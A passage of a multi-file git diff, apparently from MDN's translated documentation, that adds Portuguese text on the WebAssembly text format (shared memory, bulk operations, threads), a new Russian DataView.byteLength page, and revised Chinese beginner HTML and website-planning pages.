-To see this in action, we'll create a single import object containing a Memory object and a Table object, and pass this same import object to multiple [`instantiate()`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate) calls.
+Para ver isso em ação, criaremos um único objeto de importação contendo um objeto de memória e um objeto de tabela e passaremos esse mesmo objeto de importação para várias chamadas [`instantiate()`](/pt-BR/docs/WebAssembly/JavaScript_interface/instantiate).
 
-Our `.wat` examples look like so:
+Nossos exemplos de `.wat` são assim:
 
 `shared0.wat`:
 
-```
+```wasm
 (module
   (import "js" "memory" (memory 1))
-  (import "js" "table" (table 1 anyfunc))
+  (import "js" "table" (table 1 funcref))
   (elem (i32.const 0) $shared0func)
   (func $shared0func (result i32)
    i32.const 0
@@ -477,39 +499,39 @@ Our `.wat` examples look like so:
 
 `shared1.wat`:
 
-```
+```wasm
 (module
   (import "js" "memory" (memory 1))
-  (import "js" "table" (table 1 anyfunc))
+  (import "js" "table" (table 1 funcref))
   (type $void_to_i32 (func (result i32)))
-  (func (export “doIt”) (result i32)
+  (func (export "doIt") (result i32)
    i32.const 0
    i32.const 42
    i32.store  ;; store 42 at address 0
    i32.const 0
-   call_indirect $void_to_i32)
+   call_indirect (type $void_to_i32))
 )
 ```
 
-These work as follows:
+Estes funcionam da seguinte forma:
 
-1. The function `shared0func` is defined in `shared0.wat`, and stored in our imported table.
-2. This function creates a constant containing the value `0`, and then uses the `i32.load` command to load the value contained in the provided memory index. The index provided is `0` — again, it implicitly pops the previous value off the stack. So `shared0func` loads and returns the value stored at memory index `0`.
-3. In `shared1.wat`, we export a function called `doIt` — this fucntion creates two constants containing the values `0` and `42`, then calls `i32.store` to store a provided value at a provided index of the imported memory. Again, it implicitly pops these values off the stack, so the result is that it stores the value `42` in memory index `0`,
-4. In the last part of the function, we create a constant with value `0`, then call the function at this index 0 of the table, which is `shared0func`, stored there earlier by the `elem` block in `shared0.wat`.
-5. When called, `shared0func` loads the `42` we stored in memory using the `i32.store` command in `shared1.wat`.
+1. A função `shared0func` é definida em `shared0.wat` e armazenada em nossa tabela importada.
+2. Esta função cria uma constante contendo o valor `0`, e então usa o comando `i32.load` para carregar o valor contido no índice de memória fornecido. O índice fornecido é `0` — novamente, ele extrai implicitamente o valor anterior da pilha. Então `shared0func` carrega e retorna o valor armazenado no índice de memória `0`.
+3. Em `shared1.wat`, exportamos uma função chamada `doIt` — esta função cria duas constantes contendo os valores `0` e `42`, então chama `i32.store` para armazenar um valor fornecido em um índice fornecido da memória importada. Novamente, ele extrai implicitamente esses valores da pilha, então o resultado é que ele armazena o valor `42` no índice de memória `0`,
+4. Na última parte da função, criamos uma constante com valor `0`, então chamamos a função neste índice 0 da tabela, que é `shared0func`, armazenado lá anteriormente pelo bloco `elem` em `shared0.wat`.
+5. Quando chamado, `shared0func` carrega o `42` que armazenamos na memória usando o comando `i32.store` em `shared1.wat`.
 
-> **Nota:** The above expressions again pop values from the stack implicitly, but you could declare these explicitly inside the command calls instead, for example:
+> **Nota:** As expressões acima novamente extraem valores da pilha implicitamente, mas você pode declará-los explicitamente dentro das chamadas de comando, por exemplo:
 >
-> ```
+> ```wasm
 > (i32.store (i32.const 0) (i32.const 42))
-> (call_indirect $void_to_i32 (i32.const 0))
+> (call_indirect (type $void_to_i32) (i32.const 0))
 > ```
 
-After converting to assembly, we then use `shared0.wasm` and `shared1.wasm` in JavaScript via the following code:
+Depois de converter para assembly, usamos `shared0.wasm` e `shared1.wasm` em JavaScript por meio do seguinte código:
 
 ```js
-var importObj = {
+const importObj = {
   js: {
     memory: new WebAssembly.Memory({ initial: 1 }),
     table: new WebAssembly.Table({ initial: 1, element: "anyfunc" }),
@@ -517,22 +539,125 @@ var importObj = {
 };
 
 Promise.all([
-  fetchAndInstantiate("shared0.wasm", importObj),
-  fetchAndInstantiate("shared1.wasm", importObj),
-]).then(function (results) {
-  console.log(results[1].exports.doIt()); // prints 42
+  WebAssembly.instantiateStreaming(fetch("shared0.wasm"), importObj),
+  WebAssembly.instantiateStreaming(fetch("shared1.wasm"), importObj),
+]).then((results) => {
+  console.log(results[1].instance.exports.doIt()); // prints 42
 });
 ```
 
-Each of the modules that is being compiled can import the same memory and table objects and thus share the same linear memory and table "address space".
+Cada um dos módulos que está sendo compilado pode importar a mesma memória e objetos de tabela e, assim, compartilhar a mesma memória linear e "espaço de endereçamento" de tabela.
+
+> **Nota:** Você pode encontrar este exemplo no GitHub como [shared-address-space.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/shared-address-space.html) ([veja ao vivo também](https://mdn.github.io/webassembly-examples/understanding-text-format/shared-address-space.html)).
+
+## Operações de memória em massa
+
+As operações de memória em massa são uma adição mais recente à linguagem (por exemplo, no [Firefox 79](/pt-BR/docs/Mozilla/Firefox/Releases/79)) — sete novas operações incorporadas são fornecidas para operações de memória em massa, como cópia e inicialização, para permitir que o WebAssembly modele funções nativas como `memcpy` e `memmove` de maneira mais eficiente e com melhor desempenho.
+
+As novas operações são:
+
+- `data.drop`: Descarta os dados em um segmento de dados.
+- `elem.drop`: Descarta os dados em um segmento de elemento.
+- `memory.copy`: Copia de uma região da memória linear para outra.
+- `memory.fill`: Preenche uma região de memória linear com um determinado valor de byte.
+- `memory.init`: Copia uma região de um segmento de dados.
+- `table.copy`: Copia de uma região de uma tabela para outra.
+- `table.init`: Copia uma região de um segmento de elemento.
+
+> **Nota:** você pode encontrar mais informações na proposta [Operações de memória em massa e inicialização de segmento condicional](https://github.com/WebAssembly/bulk-memory-operations/blob/master/proposals/bulk-memory-operations/Overview.md).
+
+## Tipos
+
+### Tipos de números
+
+Atualmente, o WebAssembly tem quatro _number types_ disponíveis:
+
+- `i32`: inteiro de 32 bits
+- `i64`: inteiro de 64 bits
+- `f32`: flutuante de 32 bits
+- `f64`: flutuante de 64 bits
+
+### Tipos de vetores
+
+- `v128`: vetor de 128 bits de inteiro compactado, dados de ponto flutuante ou um único tipo de 128 bits.
+
+### Tipos de referência
+
+A [proposta de tipos de referência](https://github.com/WebAssembly/reference-types/blob/master/proposals/reference-types/Overview.md) (compatível com [Firefox 79](/pt-BR/docs/Mozilla/Firefox/Releases/79)) fornece dois recursos principais:
+
+- Um novo tipo, `externref`, que pode conter _qualquer_ valor JavaScript, por exemplo, strings, referências DOM, objetos, etc. `externref` é opaco do ponto de vista do WebAssembly — um módulo Wasm não pode acessar e manipular esses valores e, em vez disso, pode apenas recebê-los e passá-los de volta. Mas isso é muito útil para permitir que os módulos Wasm chamem funções JavaScript, APIs DOM, etc., e geralmente para preparar o caminho para uma interoperabilidade mais fácil com o ambiente host. `externref` pode ser usado para tipos de valor e elementos de tabela.
+- Uma série de novas instruções que permitem aos módulos Wasm manipular diretamente [tabelas WebAssembly](#webassembly_tables), em vez de ter que fazer isso por meio da API JavaScript.
+
+> **Nota:** A documentação [wasm-bindgen](https://rustwasm.github.io/docs/wasm-bindgen/) contém algumas informações úteis sobre como aproveitar `externref` do Rust.
+
+## WebAssembly de vários valores
+
+Outra adição mais recente à linguagem (por exemplo, no [Firefox 78](/pt-BR/docs/Mozilla/Firefox/Releases/78)) é o valor múltiplo do WebAssembly, o que significa que as funções do WebAssembly agora podem retornar vários valores e as sequências de instruções podem consumir e produzir vários valores de pilha.
+
+No momento da redação deste artigo (junho de 2020), isso está em um estágio inicial e as únicas instruções de vários valores disponíveis são chamadas para funções que retornam vários valores. Por exemplo:
+
+```wasm
+(module
+  (func $get_two_numbers (result i32 i32)
+    i32.const 1
+    i32.const 2
+  )
+  (func (export "add_two_numbers") (result i32)
+    call $get_two_numbers
+    i32.add
+  )
+)
+```
+
+Mas isso abrirá caminho para tipos de instruções mais úteis e outras coisas além. Para uma descrição útil do progresso até agora e como isso funciona, consulte [Multi-Value All The Wasm!](https://hacks.mozilla.org/2019/11/multi-value-all-the-wasm/) por Nick Fitzgerald.
+
+## Threads WebAssembly
+
+WebAssembly Threads (compatível com [Firefox 79](/pt-BR/docs/Mozilla/Firefox/Releases/79) em diante) permite que objetos WebAssembly Memory sejam compartilhados entre várias instâncias WebAssembly em execução em Web Workers separados, da mesma forma que [`SharedArrayBuffer`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer)s em JavaScript. Isso permite uma comunicação muito rápida entre os trabalhadores e ganhos significativos de desempenho em aplicativos da web.
+
+A proposta de threads tem duas partes, memórias compartilhadas e acessos à memória atômica.
+
+### Memórias compartilhadas
+
+Conforme descrito acima, você pode criar objetos WebAssembly [`Memory`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory) compartilhados, que podem ser transferidos entre os contextos Window e Worker usando [`postMessage()`](/pt-BR/docs/Web/API/Window/postMessage), da mesma forma que um [`SharedArrayBuffer`](/pt-BR/docs/Web/JavaScript/ Referência/Global_Objects/SharedArrayBuffer).
+
+No lado da API JavaScript, o objeto de inicialização do construtor [`WebAssembly.Memory()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory/Memory) agora tem uma propriedade `shared`, que quando definida como `true` criará uma memória compartilhada:
+
+```js
+const memory = new WebAssembly.Memory({
+  initial: 10,
+  maximum: 100,
+  shared: true,
+});
+```
+
+a propriedade [`buffer`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory/buffer) da memória agora retornará um `SharedArrayBuffer`, em vez do `ArrayBuffer` usual:
+
+```js
+memory.buffer; // retorna SharedArrayBuffer
+```
+
+No formato de texto, você pode criar uma memória compartilhada usando a palavra-chave `shared`, assim:
+
+```wasm
+(memory 1 2 shared)
+```
+
+Ao contrário das memórias não compartilhadas, as memórias compartilhadas devem especificar um tamanho "máximo", tanto no construtor da API JavaScript quanto no formato de texto Wasm.
+
+> **Nota:** Você pode encontrar muito mais detalhes na [Proposta de encadeamento para WebAssembly](https://github.com/WebAssembly/threads/blob/master/proposals/threads/Overview.md).
+
+### Acessos à memória atômica
+
+Várias novas instruções Wasm foram adicionadas e podem ser usadas para implementar recursos de nível superior, como mutexes, variáveis de condição etc. Estas instruções são permitidas em memórias não compartilhadas a partir do Firefox 80.
 
-> **Nota:** You can find this example on GitHub as [shared-address-space.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/shared-address-space.html) ([see it live also](https://mdn.github.io/webassembly-examples/understanding-text-format/shared-address-space.html)).
+> **Nota:** A [página de suporte do Emscripten Pthreads](https://emscripten.org/docs/porting/pthreads.html) mostra como aproveitar essa nova funcionalidade do Emscripten.
 
-## Summary
+## Resumo
 
-This finishes our high-level tour of the major components of the WebAssembly text format and how they get reflected in the WebAssembly JS API.
+Isso encerra nosso tour de alto nível pelos principais componentes do formato de texto WebAssembly e como eles são refletidos na API WebAssembly JS.
 
-## See also
+## Veja também
 
-- The main thing that wasn't included is a comprehensive list of all the instructions that can occur in function bodies. See the [WebAssembly semantics](http://webassembly.org/docs/semantics) for a treatment of each instruction.
-- See also the [grammar of the text format](https://github.com/WebAssembly/spec/blob/master/interpreter/README.md#s-expression-syntax) that is implemented by the spec interpreter.
+- A principal coisa que não foi incluída é uma lista abrangente de todas as instruções que podem ocorrer em corpos de função. Veja a [semântica do WebAssembly](https://webassembly.github.io/spec/core/exec/index.html) para um tratamento de cada instrução.
+- Veja também a [gramática do formato de texto](https://github.com/WebAssembly/spec/blob/master/interpreter/README.md#s-expression-syntax) que é implementada pelo interpretador de especificações.
diff --git a/files/ru/web/javascript/reference/global_objects/dataview/bytelength/index.md b/files/ru/web/javascript/reference/global_objects/dataview/bytelength/index.md
new file mode 100644
index 00000000000000..7abad0417f8219
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/dataview/bytelength/index.md
@@ -0,0 +1,49 @@
+---
+title: DataView.prototype.byteLength
+slug: Web/JavaScript/Reference/Global_Objects/DataView/byteLength
+tags:
+  - DataView
+  - JavaScript
+  - byteLength
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteLength
+---
+
+{{JSRef}}
+
+Свойство-геттер **`byteLength`** возвращает длину {{jsxref("DataView")}} в байтах.
+
+{{EmbedInteractiveExample("pages/js/dataview-bytelength.html")}}
+
+## Описание
+
+Свойство `byteLength` доступно только для чтения. Его значение определяется при создании объекта `DataView` и не может быть изменено. Если при создании `DataView` не были переданы параметры `byteOffset` или `byteLength`, то свойство будет равно `byteLength` связанного `ArrayBuffer` или `SharedArrayBuffer`.
+
+## Примеры
+
+### Использование свойства byteLength
+
+```js
+const buffer = new ArrayBuffer(8);
+const dataview = new DataView(buffer);
+dataview.byteLength; // 8 (соответствует byteLength буфера)
+
+const dataview2 = new DataView(buffer, 1, 5);
+dataview2.byteLength; // 5 (как указано при создании DataView)
+
+const dataview3 = new DataView(buffer, 2);
+dataview3.byteLength; // 6 (из-за byteOffset, заданного при создании DataView)
+```
+
+## Спецификации
+
+{{Specifications}}
+
+## Совместимость с браузерами
+
+{{Compat}}
+
+## Смотрите также
+
+- {{jsxref("DataView")}}
+- {{jsxref("ArrayBuffer")}}
+- {{jsxref("SharedArrayBuffer")}}
diff --git a/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.md b/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.md
index c830daf6cc0286..6e8dcc2202c66a 100644
--- a/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.md
+++ b/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.md
@@ -43,9 +43,10 @@ slug: Learn/Getting_started_with_the_web/Dealing_with_files
 
    ```html
    <!doctype html>
-   <html>
+   <html lang="en-US">
      <head>
        <meta charset="utf-8" />
+       <meta name="viewport" content="width=device-width" />
        <title>My test page</title>
      </head>
      <body>
diff --git a/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.md b/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.md
index cb70e07abb027a..115e32e2279e7f 100644
--- a/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.md
+++ b/files/zh-cn/learn/getting_started_with_the_web/html_basics/index.md
@@ -48,7 +48,7 @@ My cat is very grumpy
 2. 属性的名称，并接上一个等号。
 3. 由引号所包围的属性值。
 
-> **备注：** 不包含 ASCII 空格（以及 `"` `'` `` ` `` `=` `<` `>` ）的简单属性值可以不使用引号，但是建议将所有属性值用引号括起来，这样的代码一致性更佳，更易于阅读。
+> **备注：** 不包含 ASCII 空格（以及 `"` `'` `` ` `` `=` `<` `>`）的简单属性值可以不使用引号，但是建议将所有属性值用引号括起来，这样的代码一致性更佳，更易于阅读。
 
 ### 嵌套元素
 
@@ -82,9 +82,10 @@ My cat is very grumpy
 
 ```html
 <!doctype html>
-<html>
+<html lang="en-US">
   <head>
     <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width" />
     <title>My test page</title>
   </head>
   <body>
@@ -95,12 +96,13 @@ My cat is very grumpy
 
 这里有：
 
-- `<!DOCTYPE html>` — 文档类型。混沌初分，HTML 尚在襁褓（大约是 1991/92 年）之时，`DOCTYPE` 用来链接一些 HTML 编写守则，比如自动查错之类。`DOCTYPE` 在当今作用有限，仅用于保证文档正常读取。现在知道这些就足够了。
-- `<html></html>` — {{htmlelement("html")}} 元素。该元素包含整个页面的内容，也称作根元素。
-- `<head></head>` — {{htmlelement("head")}} 元素。该元素的内容对用户不可见，其中包含例如面向搜索引擎的搜索关键字（{{Glossary("keyword", "keywords")}}）、页面描述、CSS 样式表和字符编码声明等。
-- `<meta charset="utf-8">` — 该元素指定文档使用 UTF-8 字符编码，UTF-8 包括绝大多数人类已知语言的字符。基本上 UTF-8 可以处理任何文本内容，还可以避免以后出现某些问题，没有理由再选用其他编码。
-- `<title></title>` — {{htmlelement("title")}} 元素。该元素设置页面的标题，显示在浏览器标签页上，也作为收藏网页的描述文字。
-- `<body></body>` — {{htmlelement("body")}} 元素。该元素包含期望让用户在访问页面时看到的内容，包括文本、图像、视频、游戏、可播放的音轨或其他内容。
+- `<!DOCTYPE html>`——[文档类型](/zh-CN/docs/Glossary/Doctype)。这是必不可少的开头。混沌初分，HTML 尚在襁褓（大约是 1991/92 年）之时，这个元素用来关联 HTML 编写规范，以供自动查错等功能所用。而在当今，它作用有限，可以说仅用于保证文档正常读取。现在知道这些就足够了。
+- `<html></html>`——{{htmlelement("html")}} 元素。该元素包含整个页面的所有内容，有时候也称作根元素。里面也包含了 `lang` 属性，写明了页面的主要语种。
+- `<head></head>`——{{htmlelement("head")}} 元素。所有那些你加到页面中，且*不*向看客展示的页面成员，都以这个元素为容器。其中包含诸如提供给搜索引擎的{{Glossary("keyword", "关键字")}}和页面描述、用作风格化页面的 CSS、字符集声明等等。
+- `<meta charset="utf-8">`——该元素指明你的文档使用 UTF-8 字符编码，UTF-8 包括世界绝大多数书写语言的字符。它基本上可以处理任何文本内容。以它为编码还可以避免以后出现某些问题，没有理由再选用其他编码。
+- `<meta name="viewport" content="width=device-width">`——[视口元素](/zh-CN/docs/Web/CSS/Viewport_concepts#移动设备的视口)可以确保页面以视口宽度进行渲染，避免移动端浏览器上因页面过宽导致缩放。
+- `<title></title>`——{{htmlelement("title")}} 元素。该元素设置页面的标题，显示在浏览器标签页上，也作为收藏网页的描述文字。
+- `<body></body>`——{{htmlelement("body")}} 元素。该元素包含期望让用户在访问页面时看到的*全部*内容，包括文本、图像、视频、游戏、可播放的音轨或其他内容。
 
 ## 图像
 
diff --git a/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md b/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md
index ada10639b7a50e..0a7673dd2567a6 100644
--- a/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md
+++ b/files/zh-cn/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md
@@ -5,63 +5,68 @@ slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like
 
 {{LearnSidebar}}{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}
 
-_设计网站外观？_ 在为网站编写代码之前必须进行规划和设计工作，包括“网站提供什么信息？”、“想要什么字体和颜色？”、“网站是做什么的？”
+本文将讲述在编写网站代码之前，需要进行什么样的规划和设计工作，包括“网站提供哪些信息？”、“用哪些字体和颜色？”、“网站是做什么的？”等。
 
 ## 第一步：计划
 
-在做任何事情之前都需要一些想法。网站要达到哪种目的？一个网站基本上可以做任何事情，但对于第一次尝试，应该保持简单。我们将从创建一个包含一个标题、一张图片和几个段落的简单网页开始。
+做任何事情之前，都要先有一些想法。你的网站到底是做什么的？一个网站基本上可以做任何事情，但对于第一个网站来说，最好简单一些。我们将从创建一个简单网页开始，它包含一个标题、一张图片和几个段落。
 
 首先，请考虑以下问题：
 
-1. **网站的主题是什么？** 你喜欢狗、上海、还是吃豆人？
-2. **基于所选主题要展示哪些信息？** 写下标题和几段文字，构思一个用于展示的图像。
-3. **网站采用怎样的外观？** 用高阶术语来说，背景颜色是什么？使用哪种字体比较合适：正式的、卡通的、粗体、瘦体？
+1. **网站的主题是什么**？你喜欢狗、上海、还是吃豆人？
+2. **基于所选主题要展示哪些信息**？写下标题和几段文字，再找个你想在网站上展示的图像。
+3. 背景颜色用什么，或者，用高级一点的话来说，**你的网站外观是什么样的**？使用哪种字体比较合适：正式的、卡通的、粗体还是瘦体？
 
-> **备注：** 复杂项目需要更详细的指引，深入到颜色、字体、页面上项目之间的间距、适当的书写风格等所有细节。这有时被称为设计指南、设计系统或品牌手册，参见：[Firefox Photon Design System](https://design.firefox.com/photon/)。
+> **备注：** 复杂的网站需要更详细的指引，深入到颜色、字体、页面上元素的间距、适当的书写风格等等以及其他细节。这有时被称为设计指南、设计系统或品牌手册，可以在 [Firefox Photon 设计系统](https://design.firefox.com/photon/)中找到一个示例。
 
 ## 绘制草图
 
-接下来，拿起笔和纸，大致勾勒出你所希望的网站样子。虽然第一个简单的网页没有太多的草图，但你现在应该养成这样做的习惯。画草图很有用——并且不需要梵高的手法！
+接下来，拿起笔和纸，大致勾勒出你所希望的网站样子。当然，这个简单的网页不需要太复杂的草图，但你现在应该养成这样做的习惯。画草图很有用——并且不需要梵高的手法！
 
-![](website-drawing-scan.png)
+![画在纸上的一个粗略的网站草图](website-drawing-scan.png)
 
 > **备注：** 即使在实际的复杂网站中，设计团队通常也是从粗略的草图开始设计的，再使用图形编辑器或 Web 技术建立数字模拟图。
 >
-> Web 团队通常包括一个平面设计师和一个{{Glossary("UX", "用户体验")}} (UX) 设计师。平面设计师把网站的视觉效果放在一起。用户体验设计师则以一种更抽象的模式来解决用户如何体验及与网站交互方面的问题。
+> Web 团队通常包括一个平面设计师和一个{{Glossary("UX", "用户体验")}}（UX）设计师。平面设计师把网站的视觉效果放在一起。用户体验设计师则以一种更抽象的模式来解决用户如何体验及与网站交互方面的问题。
 
-## 选定内容
+## 选定素材
 
-此时可以开始组织网页上的内容了。
+此时，就可以开始组织网页上的内容了。
 
 ### 文本
 
-准备好刚才撰写的标题和文字。
+准备好刚才撰写的标题和文字。把这些东西放到旁边。
 
 ### 主题颜色
 
-使用[色彩选择器](/zh-CN/docs/Web/CSS/CSS_colors/Color_picker_tool)挑选心仪的颜色。当选中某种颜色时，会显示一个六位神秘代码，类似于`#660066`。它是一个*十六进制数*，用于表示颜色。将其复制并暂存。
+使用[色彩选择器](/zh-CN/docs/Web/CSS/CSS_colors/Color_picker_tool)挑选心仪的颜色。当选中某种颜色时，会显示一个六位神秘代码，类似于 `#660066`。它是一个*十六进制数*，用于表示颜色。将其复制并暂存。
 
-![](color-picker.png)
+![MDN 网站上的颜色选择器，包含 RGB、HSL、HEX 格式](color-picker.png)
 
 ### 图像
 
-访问 [Google 图像搜索](https://www.google.com/imghp?gws_rd=ssl) 来搜索合适的图片。
+访问 [Google 图片搜索](https://www.google.com/imghp?gws_rd=ssl) 来搜索合适的图片。
 
 1. 当找到你想要的图像时，点击该图像以获得其放大的视图。
-2. 右键单击图像（Mac 上为 Ctrl + 单击），选择*将图像另存为...*，并选择一个安全的地方来保存你的图像。或者，从浏览器地址栏中复制图片的网址，以便以后使用。
+2. 右键单击图像（Mac 上为 Ctrl + 单击），选择*将图像另存为...*，并选择一个可靠的位置来保存你的图像。或者，从浏览器地址栏中复制图片的网址，以便以后使用。
 
-![](updated-google-images.png)
+![Google 图片搜索中的搜索结果](updated-google-images.png)
 
-请注意，网络上的大多数图片，包括谷歌图片中的图片，都是有版权的。为了减少侵权的可能性，可以使用谷歌的许可证过滤器。点击*工具*按钮，然后点击下面出现的*使用权限*选项。你应该选择*知识共享许可*这个选项。
+请注意，网络上的大多数图片，包括谷歌图像中的图片，都是有版权的。为了减少侵权的可能性，可以使用谷歌的许可证过滤器。点击*工具*按钮，然后点击下面出现的*使用权限*选项。你应该选择*知识共享许可*这个选项。
 
-![](updated-google-images-licensing.png)
+![经知识共享许可过滤后的 Google 图片搜索结果](updated-google-images-licensing.png)
 
 ### 字体
 
-要选择一种字体：
+和图片一样，很多字体都受版权保护，也就是说，你不可以在你的网站上随意使用它们。[Google Fonts](https://developers.google.com/fonts) 是 Google 旗下的网络服务，提供了许多字体许可。
 
-1. 访问 [Google Fonts](https://www.google.com/fonts) 选择一种喜欢的字体。
-2. 将谷歌给你的代码行复制至文本编辑器中，以保存备用。
-3. 关于使用谷歌字体的更多细节，请参见[本页面](https://developers.google.com/fonts/docs/getting_started)
+选好字体后，你有两种方式使用它：
+
+1. 在你的代码中添加一个引用，从 Google 服务器加载这个字体。
+2. 下载字体文件到你的系统内，自行挂载这个文件，并在你网站的代码中使用。
+
+> **备注：** 在你的网站使用从 Google 服务器加载的字体可能会违反欧盟的数据隐私规定 [GDPR](https://gdpr.eu/what-is-gdpr/)，因为加载字体时会暴露用户的 IP 地址。如果你遇到这种潜在风险，需要选择第二种方式。
+
+另一个选择是使用 [安全 Web 字体](https://web.mit.edu/jmorzins/www/fonts.html)，如 Arial、Times New Roman、Courier New。
 
 {{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}